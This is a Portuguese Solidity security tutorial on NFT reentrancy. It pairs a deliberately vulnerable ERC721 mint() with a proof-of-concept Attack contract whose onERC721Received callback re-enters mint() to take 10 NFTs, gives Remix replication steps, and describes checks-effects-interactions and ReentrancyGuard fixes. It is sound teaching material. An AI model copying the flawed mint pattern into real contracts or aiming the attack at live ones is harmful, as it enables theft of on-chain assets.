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Segurança do Contrato Solidity: S16. Ataque de Reentrada em NFT

Recentemente, tenho revisitado o aprendizado de Solidity para reforçar os detalhes e estou escrevendo um "Guia de Iniciação Rápida para Solidity" para iniciantes (os especialistas em programação podem procurar outros tutoriais). Será atualizado semanalmente com 1-3 palestras.

Twitter: @0xAA_Science

Comunidade: Discord | Grupo do WhatsApp | Site oficial wtf.academy

Todo o código e tutoriais estão disponíveis no GitHub: github.com/AmazingAng/WTF-Solidity

Nesta palestra, vamos falar sobre a vulnerabilidade de ataque de reentrada em contratos NFT e atacar um contrato NFT com falhas para criar 10 NFTs.

Risco de Reentrada em NFT

Já discutimos em S01 Ataque de Reentrada que o ataque de reentrada é um dos ataques mais comuns nos contratos inteligentes, onde um invasor, por meio de uma vulnerabilidade no contrato (como a função fallback), faz chamadas repetidas ao contrato para transferir ativos ou criar muitas tokens. Quando se trata de transferir NFTs, eles não acionam as funções fallback ou receive dos contratos. Por que ainda há risco de reentrada?

Isso ocorre porque os padrões de NFT (ERC721/ERC1155) adicionaram uma verificação segura para garantir que os ativos de NFT não sejam acidentalmente enviados para um endereço inválido. Quando um NFT é transferido para um contrato, ele chama a função de verificação correspondente desse contrato, garantindo que esteja pronto para receber o ativo de NFT. Por exemplo, a função safeTransferFrom() do ERC721 chama a função onERC721Received() do endereço de destino, o que pode ser explorado por um hacker para lançar um ataque.

Aqui estão as funções do ERC721 e ERC1155 que têm potencial para risco de reentrada:

Exemplo de Vulnerabilidade

Vamos analisar um exemplo de contrato NFT com vulnerabilidade de reentrada. Este contrato ERC721 permite a cada endereço criar um NFT gratuitamente, mas um ataque de reentrada pode permitir a criação de vários NFTs de uma só vez.

Contrato com Vulnerabilidade

O contrato NFTReentrancy herda o contrato ERC721 e possui 2 variáveis de estado principais: totalSupply, que rastreia o total de NFTs criados, e mintedAddress, que armazena os endereços que já criaram NFTs para evitar múltiplas criações. Ele possui 2 funções principais:

  • Construtor: Inicializa o nome e o símbolo da coleção de NFTs para o ERC721.
  • mint(): Função de criação, onde cada usuário pode criar um NFT gratuitamente. Atenção: esta função apresenta uma vulnerabilidade de reentrada!
contract NFTReentrancy is ERC721 {
    uint256 public totalSupply;
    mapping(address => bool) public mintedAddress;
    
    // Construtor, inicializa o nome e símbolo da coleção NFT
    constructor() ERC721("Reentry NFT", "ReNFT"){}

    // Função de criação de NFT, cada usuário só pode criar 1 NFT
    // Tem vulnerabilidade de reentrada
    function mint() payable external {
        // Verifica se o endereço já criou um NFT
        require(mintedAddress[msg.sender] == false);
        // Incrementa o total de NFTs
        totalSupply++;
        // Cria o NFT
        _safeMint(msg.sender, totalSupply);
        // Registra o endereço que criou o NFT
        mintedAddress[msg.sender] = true;
    }
}

Contrato de Ataque

O contrato Attack herda o contrato IERC721Receiver e possui 1 variável de estado nft que armazena o endereço do contrato NFT com vulnerabilidade. Ele possui 3 funções:

  • Construtor: Inicializa o endereço do contrato NFT com vulnerabilidade.
  • attack(): Função de ataque, que chama a função mint() do contrato NFT para iniciar o ataque.
  • onERC721Received(): Função de retorno de chamada do ERC721 com código malicioso incorporado, que chama repetidamente a função mint() e cria 10 NFTs.
contract Attack is IERC721Receiver{
    NFTReentrancy public nft; // Endereço do contrato NFT com vulnerabilidade

    // Inicializa o endereço do contrato NFT
    constructor(NFTReentrancy _nftAddr) {
        nft = _nftAddr;
    }
    
    // Função de ataque, inicia o ataque
    function attack() external {
        nft.mint();
    }

    // Função de retorno de chamada do ERC721, que chama a função mint repetidamente e cria 10 NFTs
    function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
        if(nft.balanceOf(address(this)) < 10){
            nft.mint();
        }
        return this.onERC721Received.selector;
    }
}

Replicação no Remix

  1. Implante o contrato NFTReentrancy.
  2. Implante o contrato Attack, inserindo o endereço do contrato NFTReentrancy como parâmetro.
  3. Chame a função attack() do contrato Attack para iniciar o ataque.
  4. Chame a função balanceOf() do contrato NFTReentrancy para consultar a posse do contrato Attack. Você verá que ele possui 10 NFTs, com o ataque bem-sucedido.

Métodos de Prevenção

Existem duas maneiras principais de prevenir ataques de reentrada: o modelo de Verificação-Impacto-Interação (checks-effect-interaction) e o uso de bloqueios de reentrada.

  1. Modelo de Verificação-Impacto-Interação: Este modelo enfatiza que ao escrever funções, deve-se primeiro verificar se as variáveis de estado estão de acordo com os requisitos, em seguida, atualizá-las (por exemplo, saldo), e por último interagir com outros contratos. Podemos corrigir a função mint() vulnerável usando este modelo.

  2. Bloqueio de Reentrada: É um modificador utilizado para evitar funções de reentrada. Recomendamos o uso do ReentrancyGuard, fornecido pela OpenZeppelin.

Conclusão

Nesta palestra, abordamos a vulnerabilidade de ataques de reentrada em contratos NFT e realizamos um ataque bem-sucedido a um contrato NFT com falhas, criando 10 NFTs. Atualmente, existem duas maneiras principais de prevenir ataques de reentrada: o modelo de Verificação-Impacto-Interação e o uso de bloqueios de reentrada.